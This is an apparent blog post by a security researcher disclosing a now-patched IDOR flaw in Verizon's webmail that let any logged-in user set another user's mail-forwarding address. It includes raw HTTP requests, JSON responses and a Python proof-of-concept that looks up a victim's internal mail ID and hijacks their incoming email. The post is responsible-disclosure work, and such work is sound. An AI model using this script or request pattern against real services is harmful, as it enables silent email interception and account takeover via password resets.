I have worked with Verizon numerous times in the past while reporting serious security vulnerabilities, including a critical vulnerability in their MyFiOS app’s API that exposed the email accounts of all users. While I was recently researching the Verizon webmail portal, I discovered multiple vulnerabilities of varying severities — some of which I will likely write about in the future. This post, however, will focus on the most serious of those vulnerabilities which would have allowed an attacker to intercept incoming emails from any user’s inbox without interaction.
After logging into the webmail interface, users can change some of the options on their account by visiting the “Settings” tab. Below is a look at the section used to alter the forwarding settings:
Note that in the above screenshot, the interface informs the user that incoming messages will no longer be sent to the user’s inbox, but rather exclusively to the specified forwarding address.
While proxying my requests, I changed the forwarding settings on my own account in order to record the results. Here is a look at that request:
POST https://mail.verizon.com/webmail/driver?nimlet=ispemailsettings&method=addForward HTTP/1.1 Host: mail.verizon.com Connection: keep-alive Content-Length: 169 Pragma: no-cache Cache-Control: no-cache Origin: https://mail.verizon.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Referer: https://mail.verizon.com/webmail/driver?nimlet=showmessages&view=emails Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: ***REMOVED*** sourceID=&auth=&auditID=&serviceName=MPSMail&userID=vze***REMOVED***%40verizon.net&forwardAddress=***REMOVED***%2Bverizon%40gmail.com&action=AddForward&ts=1460652842592&cmdSeq=1
And the response:
{
"res": {
"Response": {
"DataOut": {
"User": {
"ID": "vze***REMOVED***",
"ForwardAddress": "***REMOVED***[email protected]"
}
},
"xsi:noNamespaceSchemaLocation": "",
"xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
"Errors": {
"Error": {
"Description": "",
"Severity": "Success",
"Type": "",
"Number": "0"
}
},
"Control": {
"Source": {
"ID": "",
"Auth": "",
"AuditID": ""
},
"Service": {
"Name": "MPSMail",
"Action": "AddForward"
}
}
}
}
}
Note the inclusion of the userID parameter in the request portion above which suggested it may be an IDOR vulnerability. In order to test this, I decided to perform the same request while substituting the ID of another user (from whom I had permission), proving whether the request would allow me to alter the forwarding address for any user account.
It’s important to note that the userID value in the original request is not actually the target user’s email address, but rather a seemingly internal ID to Verizon. This was not a huge obstacle since Verizon exposes an API with which an attacker (or anyone) could lookup this internal ID:
POST https://mail.verizon.com/webmail/driver?nimlet=mailidlookup HTTP/1.1 Host: mail.verizon.com Connection: keep-alive Content-Length: 28 Pragma: no-cache Cache-Control: no-cache Origin: https://mail.verizon.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Referer: https://mail.verizon.com/webmail/driver?nimlet=showmessages&view=emails Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: ***REMOVED*** &alias=***REMOVED***@verizon.net
This request returned the internal mail ID for the provided email address, for example:
{
"res": [{
"alias": "***REMOVED***@verizon.net",
"mailID": "vze***REMOVED***@verizon.net"
}]
}
After fetching the mailID for the target user’s account, I made the request above (with the userID substitution) in order to test my ability to alter his forwarding email address. The request was successful, meaning I confirmed a very serious vulnerability: any user with a valid Verizon account could arbitrarily set the forwarding address on behalf of any other user and immediately begin receiving his emails — an extremely dangerous situation given that a primary email account is typically used to reset passwords for other accounts that a user might have, .e.g banking, Facebook, etc.
I immediately wrote a proof-of-concept in order to demonstrate the issue to Verizon’s team:
import urllib import requests from Cookie import SimpleCookie """ A valid webmail login is required. Login to https://mail.verizon.com/ and paste in your Cookie header """ cookie_str = '***REMOVED***' # Define target and forwarding address target_username = "***REMOVED***" forward_address = "***REMOVED***[email protected]" def get_cookies(str): cookie = SimpleCookie() cookie.load(str) cookies = {} for key, morsel in cookie.items(): cookies[key] = morsel.value return cookies # Parse cookie string cookies = get_cookies(cookie_str) # Setup session s = requests.Session() s.cookies.update(cookies) # Get target user's mailID r = s.get("https://mail.verizon.com/webmail/driver?nimlet=mailidlookup&alias={}@verizon.net".format(target_username)) mail_id = r.json().get("res")[0].get("mailID") # Set mail forwarder for target user params = { "target": urllib.quote_plus(mail_id), "forward": urllib.quote_plus(forward_address), } url = "https://mail.verizon.com/webmail/driver?nimlet=ispemailsettings&method=addForward&sourceID=&auth=&auditID=" \ "&serviceName=MPSMail&userID={target}&forwardAddress={forward}" \ "&action=AddForward&ts=1460652842592&cmdSeq=1".format(**params) r = s.get(url) print(r.text.strip())
The above script uses a valid webmail session to first lookup the target account’s mailID by his email address and then set the forwarding address on the account. Recall that incoming emails would no longer be received by the user’s inbox, so they would be oblivious to such an account compromise — this would also make it much easier for an attacker to go about resetting other passwords since the reset emails would never be received by the victim.
I reached out to Verizon and sent the above PoC — they were very responsive and took the issue seriously, though they were a bit slower than usual to release a patch (attributed to their recent strike).
Disclosure Timeline
2016-04-14: Initial report/PoC sent to Verizon
2016-04-18: Verizon acknowledged the vuln, identified similar vulns in other requests
2016-05-02: I followed up, Verizon informed me that a fix was still in progress
2016-05-12: Verizon informed me that a fix was released
Verizon was very appreciative of the report and seemed to further reinforce their already collaborative relationship with the security community.
Share this:
